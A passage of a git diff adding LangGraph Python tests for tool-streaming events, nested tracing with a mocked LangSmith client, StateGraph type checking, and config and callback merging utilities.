_caller_sync("streaming_echo", {"text": "x"}), [streaming_echo] + ) + events = _tool_events( + graph.stream( + {"messages": []}, + stream_mode=["tools"], + subgraphs=True, + ) + ) + + deltas = [p["delta"] for _, p in events if p["event"] == "tool-output-delta"] + assert deltas == ["a", "b", "c"] + # The deltas must be bracketed by started and finished. + ordered = [p["event"] for _, p in events] + assert ordered[0] == "tool-started" + assert ordered[-1] == "tool-finished" + + def test_tool_error_event(self) -> None: + @tool + def boom() -> str: + """raises.""" + raise ValueError("nope") + + graph = _build_graph(_caller_sync("boom", {}), [boom]) + events: list[tuple[tuple[str, ...], dict]] = [] + with pytest.raises(ValueError, match="nope"): + for ns, mode, payload in graph.stream( + {"messages": []}, + stream_mode=["tools"], + subgraphs=True, + ): + if mode == "tools": + events.append((tuple(ns), payload)) + + kinds = [p["event"] for _, p in events] + assert kinds == ["tool-started", "tool-error"] + assert events[1][1]["message"] == "nope" + + def test_writer_unset_outside_tool(self) -> None: + # Outside any tool body the ContextVar that ToolRuntime reads + # is unset — emitting from there would be a no-op. + assert _tool_call_writer.get() is None + + def test_no_events_without_tools_mode(self) -> None: + @tool + def echo(text: str) -> str: + """echo.""" + return text + + graph = _build_graph(_caller_sync("echo", {"text": "hi"}), [echo]) + # No "tools" in stream_mode — handler is not attached and zero + # `tools`-method events fire. + chunks = list( + graph.stream( + {"messages": []}, + stream_mode=["values"], + subgraphs=True, + ) + ) + assert all( + not (isinstance(c, tuple) and len(c) == 3 and c[1] == "tools") + for c in chunks + ) + + +class TestAsyncGraphAsyncTool: + @pytest.mark.anyio + async def test_async_tool_produces_events(self) -> None: + @tool + async def aecho(text: str, runtime: ToolRuntime) -> str: + """async echo.""" + runtime.emit_output_delta(text) + return f"got:{text}" + + graph = _build_graph(_caller_async("aecho", {"text": "hi"}), [aecho]) + events: list[tuple[tuple[str, ...], dict]] = [] + async for ns, mode, payload in graph.astream( + {"messages": []}, + stream_mode=["tools"], + subgraphs=True, + ): + if mode == "tools": + events.append((tuple(ns), payload)) + + kinds = [p["event"] for _, p in events] + assert kinds == ["tool-started", "tool-output-delta", "tool-finished"] + assert events[1][1]["delta"] == "hi" + + +class TestConcurrentToolCalls: + def test_parallel_tool_calls_do_not_bleed(self) -> None: + @tool + def streamer(marker: str, runtime: ToolRuntime) -> str: + """emits marker twice.""" + runtime.emit_output_delta(f"{marker}-1") + runtime.emit_output_delta(f"{marker}-2") + return marker + + def caller(state: _State) -> dict: + return { + "messages": [ + AIMessage( + content="", + tool_calls=[ + {"name": "streamer", "args": {"marker": "A"}, "id": "a"}, + {"name": "streamer", "args": {"marker": "B"}, "id": "b"}, + ], + ) + ] + } + + graph = _build_graph(caller, [streamer]) + events = _tool_events( + graph.stream( + {"messages": []}, + stream_mode=["tools"], + subgraphs=True, + ) + ) + + # Group deltas by tool_call_id. + by_id: dict[str, list[str]] = {} + for _, p in events: + if p["event"] == "tool-output-delta": + by_id.setdefault(p["tool_call_id"], []).append(p["delta"]) + assert by_id["a"] == ["A-1", "A-2"] + assert by_id["b"] == ["B-1", "B-2"] + + +class TestSubgraphNamespacePropagation: + def test_tool_inside_subgraph_emits_with_subgraph_ns(self) -> None: + @tool + def inner_tool(text: str) -> str: + """inner tool.""" + return text + + def sub_caller(state: _State) -> dict: + return { + "messages": [ + AIMessage( + content="", + tool_calls=[ + { + "name": "inner_tool", + "args": {"text": "x"}, + "id": "tc1", + } + ], + ) + ] + } + + inner = StateGraph(_State) + inner.add_node("sub_caller", sub_caller) + inner.add_node("sub_tools", ToolNode([inner_tool])) + inner.add_edge(START, "sub_caller") + inner.add_edge("sub_caller", "sub_tools") + inner.add_edge("sub_tools", END) + inner_graph = inner.compile() + + outer = StateGraph(_State) + outer.add_node("sub", inner_graph) + outer.add_edge(START, "sub") + outer.add_edge("sub", END) + graph = outer.compile() + + events = _tool_events( + graph.stream( + {"messages": []}, + stream_mode=["tools"], + subgraphs=True, + ) + ) + + # All `tools` events should carry a non-empty namespace rooted + # at the `sub` node. + assert events, "expected at least one tools event" + for ns, _ in events: + assert ns # non-empty + assert ns[0].startswith("sub:") diff --git a/libs/langgraph/tests/test_tracing_interops.py b/libs/langgraph/tests/test_tracing_interops.py new file mode 100644 index 0000000..aeac91d --- /dev/null +++ b/libs/langgraph/tests/test_tracing_interops.py @@ -0,0 +1,118 @@ +import json +import sys +import time +from collections.abc import Callable +from typing import Any, TypeVar +from unittest.mock import MagicMock + +import langsmith as ls +import pytest +from langchain_core.runnables import RunnableConfig +from langchain_core.tracers import LangChainTracer +from typing_extensions import TypedDict + +from langgraph.graph import StateGraph + +pytestmark = pytest.mark.anyio + + +def _get_mock_client(**kwargs: Any) -> ls.Client: + mock_session = MagicMock() + return ls.Client(session=mock_session, api_key="test", **kwargs) + + +def _get_calls( + mock_client: Any, + verbs: set[str] = {"POST"}, +) -> list: + return [ + c + for c in mock_client.session.request.mock_calls + if c.args and c.args[0] in verbs + ] + + +T = TypeVar("T") + + +def wait_for( + condition: Callable[[], tuple[T, bool]], + max_sleep_time: int = 10, + sleep_time: int = 3, +) -> T: + """Wait for a condition to be true.""" + start_time = time.time() + last_e = None + while time.time() - start_time < max_sleep_time: + try: + res, cond = condition() + if cond: + return res + except Exception as e: + last_e = e + time.sleep(sleep_time) + total_time = time.time() - start_time + if last_e is not None: + raise last_e + raise ValueError(f"Callable did not return within {total_time}") + + +@pytest.mark.skip("This test times out in CI") +async def test_nested_tracing(): + lt_py_311 = sys.version_info < (3, 11) + mock_client = _get_mock_client() + + class State(TypedDict): + value: str + + @ls.traceable + async def some_traceable(content: State): + return await child_graph.ainvoke(content) + + async def parent_node(state: State, config: RunnableConfig) -> State: + if lt_py_311: + result = await some_traceable(state, langsmith_extra={"config": config}) + else: + result = await some_traceable(state) + return {"value": f"parent_{result['value']}"} + + async def child_node(state: State) -> State: + return {"value": f"child_{state['value']}"} + + child_builder = StateGraph(State) + child_builder.add_node(child_node) + child_builder.add_edge("__start__", "child_node") + child_graph = child_builder.compile().with_config(run_name="child_graph") + + parent_builder = StateGraph(State) + parent_builder.add_node(parent_node) + parent_builder.add_edge("__start__", "parent_node") + parent_graph = parent_builder.compile() + + tracer = LangChainTracer(client=mock_client) + result = await parent_graph.ainvoke({"value": "input"}, {"callbacks": [tracer]}) + + assert result == {"value": "parent_child_input"} + + def get_posts(): + post_calls = _get_calls(mock_client, verbs={"POST"}) + + posts = [p for c in post_calls for p in json.loads(c.kwargs["data"])["post"]] + names = [p.get("name") for p in posts] + if "child_node" in names: + return posts, True + return None, False + + posts = wait_for(get_posts) + # If the callbacks weren't propagated correctly, we'd + # end up with broken dotted_orders + parent_run = next(data for data in posts if data["name"] == "parent_node") + child_run = next(data for data in posts if data["name"] == "child_graph") + traceable_run = next(data for data in posts if data["name"] == "some_traceable") + + assert child_run["dotted_order"].startswith(traceable_run["dotted_order"]) + assert traceable_run["dotted_order"].startswith(parent_run["dotted_order"]) + + assert child_run["parent_run_id"] == traceable_run["id"] + assert traceable_run["parent_run_id"] == parent_run["id"] + assert parent_run["trace_id"] == child_run["trace_id"] == traceable_run["trace_id"] diff --git a/libs/langgraph/tests/test_type_checking.py b/libs/langgraph/tests/test_type_checking.py new file mode 100644 index 0000000..5f807dd --- /dev/null +++ b/libs/langgraph/tests/test_type_checking.py @@ -0,0 +1,161 @@ +from dataclasses import dataclass +from operator import add +from typing import Annotated, Any + +import pytest +from langchain_core.runnables import RunnableConfig +from pydantic import BaseModel +from typing_extensions import TypedDict + +from langgraph.graph import StateGraph +from langgraph.types import Command + + +def test_typed_dict_state() -> None: + class TypedDictState(TypedDict): + info: Annotated[list[str], add] + + graph_builder = StateGraph(TypedDictState) + + def valid(state: TypedDictState) -> Any: ... + + def valid_with_config(state: TypedDictState, config: RunnableConfig) -> Any: ... + + def invalid() -> Any: ... + + def invalid_node() -> Any: ... + + graph_builder.add_node("valid", valid) + graph_builder.add_node("invalid", valid_with_config) + graph_builder.add_node("invalid_node", invalid_node) # type: ignore[call-overload] + graph_builder.set_entry_point("valid") + graph = graph_builder.compile() + + graph.invoke({"info": ["hello", "world"]}) + graph.invoke({"invalid": "lalala"}) # type: ignore[arg-type] + + +def test_dataclass_state() -> None: + @dataclass + class DataclassState: + info: Annotated[list[str], add] + + def valid(state: DataclassState) -> Any: ... + + def valid_with_config(state: DataclassState, config: RunnableConfig) -> Any: ... + + def invalid() -> Any: ... + + graph_builder = StateGraph(DataclassState) + graph_builder.add_node("valid", valid) + graph_builder.add_node("invalid", valid_with_config) + graph_builder.add_node("invalid_node", invalid) # type: ignore[call-overload] + + graph_builder.set_entry_point("valid") + graph = graph_builder.compile() + + graph.invoke(DataclassState(info=["hello", "world"])) + graph.invoke({"invalid": 1}) # type: ignore[arg-type] + graph.invoke({"info": ["hello", "world"]}) # type: ignore[arg-type] + + +def test_base_model_state() -> None: + class PydanticState(BaseModel): + info: Annotated[list[str], add] + + def valid(state: PydanticState) -> Any: ... + + def valid_with_config(state: PydanticState, config: RunnableConfig) -> Any: ... + + def invalid() -> Any: ... + + graph_builder = StateGraph(PydanticState) + graph_builder.add_node("valid", valid) + graph_builder.add_node("invalid", valid_with_config) + graph_builder.add_node("invalid_node", invalid) # type: ignore[call-overload] + + graph_builder.set_entry_point("valid") + graph = graph_builder.compile() + + graph.invoke(PydanticState(info=["hello", "world"])) + graph.invoke({"invalid": 1}) # type: ignore[arg-type] + graph.invoke({"info": ["hello", "world"]}) # type: ignore[arg-type] + + +def test_plain_class_not_allowed() -> None: + class NotAllowed: + info: Annotated[list[str], add] + + StateGraph(NotAllowed) # type: ignore[type-var] + + +def test_input_state_specified() -> None: + class InputState(TypedDict): + something: int + + class State(InputState): + info: Annotated[list[str], add] + + def valid(state: State) -> Any: ... + + new_builder = StateGraph(State, input_schema=InputState) + new_builder.add_node("valid", valid) + new_builder.set_entry_point("valid") + new_graph = new_builder.compile() + + new_graph.invoke({"something": 1}) + new_graph.invoke({"something": 2, "info": ["hello", "world"]}) # type: ignore[arg-type] + + +@pytest.mark.skip("Purely for type checking") +def test_invoke_with_all_valid_types() -> None: + class State(TypedDict): + a: int + + def a(state: State) -> Any: ... + + graph = StateGraph(State).add_node("a", a).set_entry_point("a").compile() + graph.invoke({"a": 1}) + graph.invoke(None) + graph.invoke(Command()) + + +def test_add_node_with_explicit_input_schema() -> None: + class A(TypedDict): + a1: int + a2: str + + class B(TypedDict): + b1: int + b2: str + + class ANarrow(TypedDict): + a1: int + + class BNarrow(TypedDict): + b1: int + + class State(A, B): ... + + def a(state: A) -> Any: ... + + def b(state: B) -> Any: ... + + workflow = StateGraph(State) + # input schema matches typed schemas + workflow.add_node("a", a, input_schema=A) + workflow.add_node("b", b, input_schema=B) + + # input schema does not match typed schemas + workflow.add_node("a_wrong", a, input_schema=B) # type: ignore[arg-type] + workflow.add_node("b_wrong", b, input_schema=A) # type: ignore[arg-type] + + # input schema is more broad than the typed schemas, which is allowed + # by the principles of contravariance + workflow.add_node("a_inclusive", a, input_schema=State) + workflow.add_node("b_inclusive", b, input_schema=State) + + # input schema is more narrow than the typed schemas, which is not allowed + # because it violates the principles of contravariance + workflow.add_node("a_narrow", a, input_schema=ANarrow) # type: ignore[arg-type] + workflow.add_node("b_narrow", b, input_schema=BNarrow) # type: ignore[arg-type] diff --git a/libs/langgraph/tests/test_utils.py b/libs/langgraph/tests/test_utils.py new file mode 100644 index 0000000..5235285 --- /dev/null +++ b/libs/langgraph/tests/test_utils.py @@ -0,0 +1,799 @@ +import functools +import sys +import uuid +from collections.abc import Callable +from typing import ( + Annotated, + Any, + ForwardRef, + Literal, + Optional, + TypeVar, + Union, +) +from unittest.mock import MagicMock, patch + +import langsmith +import pytest +from langchain_core.callbacks import BaseCallbackHandler, CallbackManager +from langchain_core.runnables import RunnableConfig +from langchain_core.tracers import LangChainTracer +from typing_extensions import NotRequired, Required, TypedDict + +from langgraph._internal._config import ( + _is_not_empty, + _merge_callbacks, + ensure_config, + get_callback_manager_for_config, + merge_configs, +) +from langgraph._internal._fields import ( + _is_optional_type, + get_enhanced_type_hints, + get_field_default, +) +from langgraph._internal._runnable import is_async_callable, is_async_generator +from langgraph.constants import END +from langgraph.graph import StateGraph +from langgraph.graph.state import CompiledStateGraph + +# ruff: noqa: UP045, UP007 + +pytestmark = pytest.mark.anyio + + +def test_is_async() -> None: + async def func() -> None: + pass + + assert is_async_callable(func) + wrapped_func = functools.wraps(func)(func) + assert is_async_callable(wrapped_func) + + def sync_func() -> None: + pass + + assert not is_async_callable(sync_func) + wrapped_sync_func = functools.wraps(sync_func)(sync_func) + assert not is_async_callable(wrapped_sync_func) + + class AsyncFuncCallable: + async def __call__(self) -> None: + pass + + runnable = AsyncFuncCallable() + assert is_async_callable(runnable) + wrapped_runnable = functools.wraps(runnable)(runnable) + assert is_async_callable(wrapped_runnable) + + class SyncFuncCallable: + def __call__(self) -> None: + pass + + sync_runnable = SyncFuncCallable() + assert not is_async_callable(sync_runnable) + wrapped_sync_runnable = functools.wraps(sync_runnable)(sync_runnable) + assert not is_async_callable(wrapped_sync_runnable) + + +def test_is_generator() -> None: + async def gen(): + yield + + assert is_async_generator(gen) + + wrapped_gen = functools.wraps(gen)(gen) + assert is_async_generator(wrapped_gen) + + def sync_gen(): + yield + + assert not is_async_generator(sync_gen) + wrapped_sync_gen = functools.wraps(sync_gen)(sync_gen) + assert not is_async_generator(wrapped_sync_gen) + + class AsyncGenCallable: + async def __call__(self): + yield + + runnable = AsyncGenCallable() + assert is_async_generator(runnable) + wrapped_runnable = functools.wraps(runnable)(runnable) + assert is_async_generator(wrapped_runnable) + + class SyncGenCallable: + def __call__(self): + yield + + sync_runnable = SyncGenCallable() + assert not is_async_generator(sync_runnable) + wrapped_sync_runnable = functools.wraps(sync_runnable)(sync_runnable) + assert not is_async_generator(wrapped_sync_runnable) + + +@pytest.fixture +def rt_graph() -> CompiledStateGraph: + class State(TypedDict): + foo: int + node_run_id: int + + def node(_: State): + from langsmith import get_current_run_tree # type: ignore + + return {"node_run_id": get_current_run_tree().id} # type: ignore + + graph = StateGraph(State) + graph.add_node(node) + graph.set_entry_point("node") + graph.add_edge("node", END) + return graph.compile() + + +def test_runnable_callable_tracing_nested(rt_graph: CompiledStateGraph) -> None: + with patch("langsmith.client.Client", spec=langsmith.Client) as mock_client: + with patch("langchain_core.tracers.langchain.get_client") as mock_get_client: + mock_get_client.return_value = mock_client + with langsmith.tracing_context(enabled=True): + res = rt_graph.invoke({"foo": 1}) + assert isinstance(res["node_run_id"], uuid.UUID) + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) +async def test_runnable_callable_tracing_nested_async( + rt_graph: CompiledStateGraph, +) -> None: + with patch("langsmith.client.Client", spec=langsmith.Client) as mock_client: + with patch("langchain_core.tracers.langchain.get_client") as mock_get_client: + mock_get_client.return_value = mock_client + with langsmith.tracing_context(enabled=True): + res = await rt_graph.ainvoke({"foo": 1}) + assert isinstance(res["node_run_id"], uuid.UUID) + + +def test_is_optional_type(): + assert _is_optional_type(None) + assert not _is_optional_type(type(None)) + assert _is_optional_type(Optional[list]) + assert not _is_optional_type(int) + assert _is_optional_type(Optional[Literal[1, 2, 3]]) + assert not _is_optional_type(Literal[1, 2, 3]) + assert _is_optional_type(Optional[list[int]]) + assert _is_optional_type(Optional[dict[str, int]]) + assert not _is_optional_type(list[int | None]) + assert _is_optional_type(Union[str | None, int | None]) + assert _is_optional_type(Union[str | None | int | None, float | None | dict | None]) + assert not _is_optional_type(Union[str | int, float | dict]) + + assert _is_optional_type(Union[int, None]) + assert _is_optional_type(Union[str, None, int]) + assert _is_optional_type(Union[None, str, int]) + assert not _is_optional_type(Union[int, str]) + + assert not _is_optional_type(Any) # Do we actually want this? + assert _is_optional_type(Optional[Any]) + + class MyClass: + pass + + assert _is_optional_type(Optional[MyClass]) + assert not _is_optional_type(MyClass) + assert _is_optional_type(Optional[ForwardRef("MyClass")]) + assert not _is_optional_type(ForwardRef("MyClass")) + + assert _is_optional_type(Optional[list[int] | dict[str, int | None]]) + assert not _is_optional_type(Union[list[int], dict[str, int | None]]) + + assert _is_optional_type(Optional[Callable[[int], str]]) + assert not _is_optional_type(Callable[[int], str | None]) + + T = TypeVar("T") + assert _is_optional_type(Optional[T]) + assert not _is_optional_type(T) + + U = TypeVar("U", bound=T | None) # type: ignore + assert _is_optional_type(U) + + +def test_is_required(): + class MyBaseTypedDict(TypedDict): + val_1: Required[str | None] + val_2: Required[str] + val_3: NotRequired[str] + val_4: NotRequired[str | None] + val_5: Annotated[NotRequired[int], "foo"] + val_6: NotRequired[Annotated[int, "foo"]] + val_7: Annotated[Required[int], "foo"] + val_8: Required[Annotated[int, "foo"]] + val_9: str | None + val_10: str + + annos = MyBaseTypedDict.__annotations__ + assert get_field_default("val_1", annos["val_1"], MyBaseTypedDict) == ... + assert get_field_default("val_2", annos["val_2"], MyBaseTypedDict) == ... + assert get_field_default("val_3", annos["val_3"], MyBaseTypedDict) is None + assert get_field_default("val_4", annos["val_4"], MyBaseTypedDict) is None + # See https://peps.python.org/pep-0655/#interaction-with-annotated + assert get_field_default("val_5", annos["val_5"], MyBaseTypedDict) is None + assert get_field_default("val_6", annos["val_6"], MyBaseTypedDict) is None + assert get_field_default("val_7", annos["val_7"], MyBaseTypedDict) == ... + assert get_field_default("val_8", annos["val_8"], MyBaseTypedDict) == ... + assert get_field_default("val_9", annos["val_9"], MyBaseTypedDict) is None + assert get_field_default("val_10", annos["val_10"], MyBaseTypedDict) == ... + + class MyChildDict(MyBaseTypedDict): + val_11: int + val_11b: int | None + val_11c: int | None | str + + class MyGrandChildDict(MyChildDict, total=False): + val_12: int + val_13: Required[str] + + cannos = MyChildDict.__annotations__ + gcannos = MyGrandChildDict.__annotations__ + assert get_field_default("val_11", cannos["val_11"], MyChildDict) == ... + assert get_field_default("val_11b", cannos["val_11b"], MyChildDict) is None + assert get_field_default("val_11c", cannos["val_11c"], MyChildDict) is None + assert get_field_default("val_12", gcannos["val_12"], MyGrandChildDict) is None + assert get_field_default("val_9", gcannos["val_9"], MyGrandChildDict) is None + assert get_field_default("val_13", gcannos["val_13"], MyGrandChildDict) == ... + + +def test_enhanced_type_hints() -> None: + from dataclasses import dataclass + from typing import Annotated + + from pydantic import BaseModel, Field + + class MyTypedDict(TypedDict): + val_1: str + val_2: int = 42 + val_3: str = "default" + + hints = list(get_enhanced_type_hints(MyTypedDict)) + assert len(hints) == 3 + assert hints[0] == ("val_1", str, None, None) + assert hints[1] == ("val_2", int, 42, None) + assert hints[2] == ("val_3", str, "default", None) + + @dataclass + class MyDataclass: + val_1: str + val_2: int = 42 + val_3: str = "default" + + hints = list(get_enhanced_type_hints(MyDataclass)) + assert len(hints) == 3 + assert hints[0] == ("val_1", str, None, None) + assert hints[1] == ("val_2", int, 42, None) + assert hints[2] == ("val_3", str, "default", None) + + class MyPydanticModel(BaseModel): + val_1: str + val_2: int = 42 + val_3: str = Field(default="default", description="A description") + + hints = list(get_enhanced_type_hints(MyPydanticModel)) + assert len(hints) == 3 + assert hints[0] == ("val_1", str, None, None) + assert hints[1] == ("val_2", int, 42, None) + assert hints[2] == ("val_3", str, "default", "A description") + + class MyPydanticModelWithAnnotated(BaseModel): + val_1: Annotated[str, Field(description="A description")] + val_2: Annotated[int, Field(default=42)] + val_3: Annotated[ + str, Field(default="default", description="Another description") + ] + + hints = list(get_enhanced_type_hints(MyPydanticModelWithAnnotated)) + assert len(hints) == 3 + assert hints[0] == ("val_1", str, None, "A description") + assert hints[1] == ("val_2", int, 42, None) + assert hints[2] == ("val_3", str, "default", "Another description") + + +def test_is_not_empty() -> None: + assert _is_not_empty("foo") + assert _is_not_empty("") + assert _is_not_empty(1) + assert _is_not_empty(0) + assert not _is_not_empty(None) + assert not _is_not_empty([]) + assert not _is_not_empty(()) + assert not _is_not_empty({}) + + +def test_configurable_metadata() -> None: + config = { + "configurable": { + "a-key": "foo", + "somesecretval": "bar", + "sometoken": "thetoken", + "__dontinclude": "bar", + "includeme": "hi", + "andme": 42, + "nested": {"foo": "bar"}, + "nooverride": -2, + "thread_id": "th-123", + "checkpoint_id": "ckpt-1", + "checkpoint_ns": "ns-1", + "task_id": "task-1", + "run_id": "run-456", + "assistant_id": "asst-789", + "graph_id": "graph-0", + "model": "gpt-4o", + "user_id": "uid-1", + "cron_id": "cron-1", + "langgraph_auth_user_id": "user-1", + }, + "metadata": {"nooverride": 18}, + } + merged = ensure_config(config) + metadata = merged["metadata"] + assert set(metadata) == { + "nooverride", + "assistant_id", + "thread_id", + "checkpoint_id", + "run_id", + "graph_id", + "checkpoint_ns", + "task_id", + } + assert metadata["nooverride"] == 18 + + +def test_callback_manager_copies_whitelisted_configurable_ids_to_metadata() -> None: + config = { + "configurable": { + "thread_id": "th-123", + "checkpoint_id": "ckpt-1", + "checkpoint_ns": "ns-1", + "task_id": "task-1", + "run_id": "run-456", + "assistant_id": "asst-789", + "graph_id": "graph-0", + "model": "gpt-4o", + "user_id": "uid-1", + "cron_id": "cron-1", + "langgraph_auth_user_id": "user-1", + }, + "metadata": { + "thread_id": "from-metadata", + "nooverride": 18, + }, + } + manager = ensure_config(config) + callback_manager = get_callback_manager_for_config(manager) + assert callback_manager.metadata == { + "thread_id": "from-metadata", + "nooverride": 18, + "checkpoint_id": "ckpt-1", + "checkpoint_ns": "ns-1", + "task_id": "task-1", + "run_id": "run-456", + "assistant_id": "asst-789", + "graph_id": "graph-0", + } + + +def test_callback_manager_copies_configurable_ids_to_tracing_metadata() -> None: + tracer = LangChainTracer(client=MagicMock()) + config: RunnableConfig = { + "configurable": { + "thread_id": "th-123", + "checkpoint_id": "ckpt-1", + "checkpoint_ns": "ns-1", + "task_id": "task-1", + "run_id": "run-456", + "assistant_id": "asst-789", + "graph_id": "graph-0", + "model": "gpt-4o", + "user_id": "uid-1", + "cron_id": "cron-1", + "langgraph_auth_user_id": "user-1", + "includeme": "hi", + "andme": 42, + "__dontinclude": "bar", + "some_api_key": "secret", + "custom_setting": {"nested": True}, + }, + "metadata": { + "thread_id": "from-metadata", + "user_id": "from-metadata-user", + "includeme": "from-metadata", + }, + "callbacks": [tracer], + } + + manager = ensure_config(config) + callback_manager = get_callback_manager_for_config(manager) + handlers = callback_manager.handlers + tracers = [handler for handler in handlers if isinstance(handler, LangChainTracer)] + assert len(tracers) == 1 + tracer = tracers[0] + assert tracer.tracing_metadata == { + "checkpoint_id": "ckpt-1", + "checkpoint_ns": "ns-1", + "task_id": "task-1", + "run_id": "run-456", + "assistant_id": "asst-789", + "graph_id": "graph-0", + "model": "gpt-4o", + "cron_id": "cron-1", + "andme": 42, + "includeme": "hi", + "thread_id": "th-123", + "user_id": "uid-1", + } + + +class _TrackingCB(BaseCallbackHandler): + """Minimal callback handler used only as a sentinel for merge tests.""" + + def __init__(self, tag: str) -> None: + self.tag = tag + + def __eq__(self, other: object) -> bool: + return isinstance(other, _TrackingCB) and self.tag == other.tag + + def __hash__(self) -> int: + return hash(self.tag) + + +def test_merge_callbacks_none_base_list_new() -> None: + cb = _TrackingCB("a") + merged = _merge_callbacks(None, [cb]) + assert merged == [cb] + + +def test_merge_callbacks_list_base_list_new() -> None: + a, b = _TrackingCB("a"), _TrackingCB("b") + merged = _merge_callbacks([a], [b]) + assert merged == [a, b] + + +def test_merge_callbacks_list_base_manager_new() -> None: + a = _TrackingCB("a") + mgr = CallbackManager(handlers=[_TrackingCB("b")]) + merged = _merge_callbacks([a], mgr) + assert isinstance(merged, CallbackManager) + assert _TrackingCB("a") in merged.handlers + assert _TrackingCB("b") in merged.handlers + + +def test_merge_callbacks_manager_base_list_new() -> None: + mgr = CallbackManager(handlers=[_TrackingCB("a")]) + b = _TrackingCB("b") + merged = _merge_callbacks(mgr, [b]) + assert isinstance(merged, CallbackManager) + assert _TrackingCB("a") in merged.handlers + assert _TrackingCB("b") in merged.handlers + + +def test_merge_callbacks_manager_base_manager_new() -> None: + mgr_a = CallbackManager(handlers=[_TrackingCB("a")]) + mgr_b = CallbackManager(handlers=[_TrackingCB("b")]) + merged = _merge_callbacks(mgr_a, mgr_b) + assert isinstance(merged, CallbackManager) + assert _TrackingCB("a") in merged.handlers + assert _TrackingCB("b") in merged.handlers + + +def test_merge_callbacks_none_base_none_new() -> None: + merged = _merge_callbacks(None, None) + assert merged is None + + +def test_ensure_config_merges_configurable_across_configs() -> None: + a = {"configurable": {"ls_agent_type": "root"}} + b = {"configurable": {"thread_id": "T1"}} + merged = ensure_config(a, b) + assert merged["configurable"]["ls_agent_type"] == "root" + assert merged["configurable"]["thread_id"] == "T1" + + +def test_ensure_config_configurable_later_wins_per_key() -> None: + a = {"configurable": {"shared": "from_a", "only_a": "A"}} + b = {"configurable": {"shared": "from_b", "only_b": "B"}} + merged = ensure_config(a, b) + assert merged["configurable"]["shared"] == "from_b" # later wins per key + assert merged["configurable"]["only_a"] == "A" + assert merged["configurable"]["only_b"] == "B" + + +def test_ensure_config_explicit_configurable_replaces_ambient() -> None: + # An explicit checkpoint coordinate (here a new thread_id) starts a fresh + # lineage and drops the ambient run context (e.g. a parent task's + # checkpoint_ns), so a child graph does not inherit it. + from langchain_core.runnables.config import var_child_runnable_config + + token = var_child_runnable_config.set( + {"configurable": {"checkpoint_ns": "p:parent-task", "checkpoint_id": "cid"}} + ) + try: + merged = ensure_config({"configurable": {"thread_id": "child"}}) + finally: + var_child_runnable_config.reset(token) + assert merged["configurable"]["thread_id"] == "child" + assert "checkpoint_ns" not in merged["configurable"] + assert "checkpoint_id" not in merged["configurable"] + + +def test_ensure_config_ambient_inherited_when_no_explicit_configurable() -> None: + # With no explicit configurable, the ambient run context is inherited + # unchanged (stateless subgraph / interrupt-resume pattern). + from langchain_core.runnables.config import var_child_runnable_config + + token = var_child_runnable_config.set( + {"configurable": {"checkpoint_ns": "p:parent-task"}} + ) + try: + merged = ensure_config({"tags": ["t"]}) + finally: + var_child_runnable_config.reset(token) + assert merged["configurable"]["checkpoint_ns"] == "p:parent-task" + + +def test_ensure_config_explicit_configurables_still_merge_over_ambient() -> None: + # A new thread_id drops the ambient, but explicit configs still shallow-merge + # among themselves, so a with_config(...) value (ls_agent_type) survives + # alongside an invoke-time thread_id. + from langchain_core.runnables.config import var_child_runnable_config + + token = var_child_runnable_config.set( + {"configurable": {"checkpoint_ns": "p:parent-task"}} + ) + try: + merged = ensure_config( + {"configurable": {"ls_agent_type": "root"}}, + {"configurable": {"thread_id": "child"}}, + ) + finally: + var_child_runnable_config.reset(token) + assert merged["configurable"]["ls_agent_type"] == "root" + assert merged["configurable"]["thread_id"] == "child" + assert "checkpoint_ns" not in merged["configurable"] + + +def test_ensure_config_non_coordinate_config_keeps_ambient_checkpoint_ns() -> None: + # A nested subagent is invoked with a non-coordinate configurable key + # (ls_agent_type) and no thread_id; it must keep the inherited checkpoint_ns + # so it stays a discoverable child of the parent run (deepagents `task` tool). + from langchain_core.runnables.config import var_child_runnable_config + + token = var_child_runnable_config.set( + {"configurable": {"thread_id": "parent", "checkpoint_ns": "p:parent-task"}} + ) + try: + merged = ensure_config({"configurable": {"ls_agent_type": "subagent"}}) + finally: + var_child_runnable_config.reset(token) + assert merged["configurable"]["ls_agent_type"] == "subagent" + assert merged["configurable"]["checkpoint_ns"] == "p:parent-task" + assert merged["configurable"]["thread_id"] == "parent" + + +def test_ensure_config_same_thread_id_still_clears_ambient() -> None: + # A child that reuses the parent's thread_id is still addressing its own root + # namespace on that thread, so the parent task's checkpoint_ns must not leak + # in; otherwise the child writes state that get_state cannot read back. + from langchain_core.runnables.config import var_child_runnable_config + + token = var_child_runnable_config.set( + {"configurable": {"thread_id": "shared", "checkpoint_ns": "p:parent-task"}} + ) + try: + merged = ensure_config({"configurable": {"thread_id": "shared"}}) + finally: + var_child_runnable_config.reset(token) + assert merged["configurable"]["thread_id"] == "shared" + assert "checkpoint_ns" not in merged["configurable"] + + +def test_ensure_config_merges_metadata_across_configs() -> None: + a = {"metadata": {"user_id": "U1"}} + b = {"metadata": {"correlation_id": "C1"}} + merged = ensure_config(a, b) + assert merged["metadata"]["user_id"] == "U1" + assert merged["metadata"]["correlation_id"] == "C1" + + +def test_ensure_config_metadata_later_wins_per_key() -> None: + a = {"metadata": {"shared": "from_a"}} + b = {"metadata": {"shared": "from_b"}} + merged = ensure_config(a, b) + assert merged["metadata"]["shared"] == "from_b" + + +def test_merge_configs_merges_metadata_lc_versions() -> None: + a = { + "metadata": { + "lc_versions": {"langgraph": "1.2.4"}, + "lc_agent_name": "agent", + } + } + b = {"metadata": {"lc_versions": {"langchain-core": "1.2.0"}}} + merged = merge_configs(a, b) + assert merged["metadata"]["lc_versions"] == { + "langgraph": "1.2.4", + "langchain-core": "1.2.0", + } + assert merged["metadata"]["lc_agent_name"] == "agent" + + +def test_ensure_config_merges_metadata_lc_versions() -> None: + a = { + "metadata": { + "lc_versions": {"langgraph": "1.2.4"}, + "lc_agent_name": "agent", + } + } + b = {"metadata": {"lc_versions": {"langchain-core": "1.2.0"}}} + merged = ensure_config(a, b) + assert merged["metadata"]["lc_versions"] == { + "langgraph": "1.2.4", + "langchain-core": "1.2.0", + } + assert merged["metadata"]["lc_agent_name"] == "agent" + + +@pytest.mark.parametrize("merge", [merge_configs, ensure_config]) +def test_metadata_lc_versions_later_values_win_without_recursive_merge( + merge: Callable[..., RunnableConfig], +) -> None: + a = { + "metadata": { + "lc_versions": { + "langgraph": "1.2.4", + "nested": {"only_a": "A", "shared": "from_a"}, + } + } + } + b = { + "metadata": { + "lc_versions": { + "langchain-core": "1.2.0", + "nested": {"only_b": "B", "shared": "from_b"}, + } + } + } + merged = merge(a, b) + assert 